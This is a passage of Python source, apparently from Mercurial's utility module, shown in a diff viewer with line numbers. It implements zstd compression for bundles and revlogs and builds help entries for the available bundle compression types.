3586 3601 # while providing no worse compression. It strikes a good balance
3587 3602 # between speed and compression.
3588 3603 level = opts.get('level', 3)
3589 3604
3590 3605 zstd = self._module
3591 3606 z = zstd.ZstdCompressor(level=level).compressobj()
3592 3607 for chunk in it:
3593 3608 data = z.compress(chunk)
3594 3609 if data:
3595 3610 yield data
3596 3611
3597 3612 yield z.flush()
3598 3613
3599 3614 def decompressorreader(self, fh):
3600 3615 zstd = self._module
3601 3616 dctx = zstd.ZstdDecompressor()
3602 3617 return chunkbuffer(dctx.read_from(fh))
3603 3618
3604 3619 class zstdrevlogcompressor(object):
3605 3620 def __init__(self, zstd, level=3):
3606 3621 # Writing the content size adds a few bytes to the output. However,
3607 3622 # it allows decompression to be more optimal since we can
3608 3623 # pre-allocate a buffer to hold the result.
3609 3624 self._cctx = zstd.ZstdCompressor(level=level,
3610 3625 write_content_size=True)
3611 3626 self._dctx = zstd.ZstdDecompressor()
3612 3627 self._compinsize = zstd.COMPRESSION_RECOMMENDED_INPUT_SIZE
3613 3628 self._decompinsize = zstd.DECOMPRESSION_RECOMMENDED_INPUT_SIZE
3614 3629
3615 3630 def compress(self, data):
3616 3631 insize = len(data)
3617 3632 # Caller handles empty input case.
3618 3633 assert insize > 0
3619 3634
3620 3635 if insize < 50:
3621 3636 return None
3622 3637
3623 3638 elif insize <= 1000000:
3624 3639 compressed = self._cctx.compress(data)
3625 3640 if len(compressed) < insize:
3626 3641 return compressed
3627 3642 return None
3628 3643 else:
3629 3644 z = self._cctx.compressobj()
3630 3645 chunks = []
3631 3646 pos = 0
3632 3647 while pos < insize:
3633 3648 pos2 = pos + self._compinsize
3634 3649 chunk = z.compress(data[pos:pos2])
3635 3650 if chunk:
3636 3651 chunks.append(chunk)
3637 3652 pos = pos2
3638 3653 chunks.append(z.flush())
3639 3654
3640 3655 if sum(map(len, chunks)) < insize:
3641 3656 return ''.join(chunks)
3642 3657 return None
3643 3658
3644 3659 def decompress(self, data):
3645 3660 insize = len(data)
3646 3661
3647 3662 try:
3648 3663 # This was measured to be faster than other streaming
3649 3664 # decompressors.
3650 3665 dobj = self._dctx.decompressobj()
3651 3666 chunks = []
3652 3667 pos = 0
3653 3668 while pos < insize:
3654 3669 pos2 = pos + self._decompinsize
3655 3670 chunk = dobj.decompress(data[pos:pos2])
3656 3671 if chunk:
3657 3672 chunks.append(chunk)
3658 3673 pos = pos2
3659 3674 # Frame should be exhausted, so no finish() API.
3660 3675
3661 3676 return ''.join(chunks)
3662 3677 except Exception as e:
3663 3678 raise error.RevlogError(_('revlog decompress error: %s') %
3664 3679 str(e))
3665 3680
3666 3681 def revlogcompressor(self, opts=None):
3667 3682 opts = opts or {}
3668 3683 return self.zstdrevlogcompressor(self._module,
3669 3684 level=opts.get('level', 3))
3670 3685
3671 3686 compengines.register(_zstdengine())
3672 3687
3673 3688 def bundlecompressiontopics():
3674 3689 """Obtains a list of available bundle compressions for use in help."""
3675 3690 # help.makeitemsdocs() expects a dict of names to items with a .__doc__.
3676 3691 items = {}
3677 3692
3678 3693 # We need to format the docstring. So use a dummy object/type to hold it
3679 3694 # rather than mutating the original.
3680 3695 class docobject(object):
3681 3696 pass
3682 3697
3683 3698 for name in compengines:
3684 3699 engine = compengines[name]
3685 3700
3686 3701 if not engine.available():
3687 3702 continue
3688 3703
3689 3704 bt = engine.bundletype()
3690 3705 if not bt or not bt[0]:
3691 3706 continue
3692 3707
3693 3708 doc = pycompat.sysstr('``%s``\n %s') % (
3694 3709 bt[0], engine.bundletype.__doc__)
3695 3710
3696 3711 value = docobject()
3697 3712 value.__doc__ = doc
3698 3713
3699 3714 items[bt[0]] = value
3700 3715
3701 3716 return items
3702 3717
3703 3718 # convenient shortcut
3704 3719 dst = debugstacktrace
General Comments 0
You need to be logged in to leave comments. Login now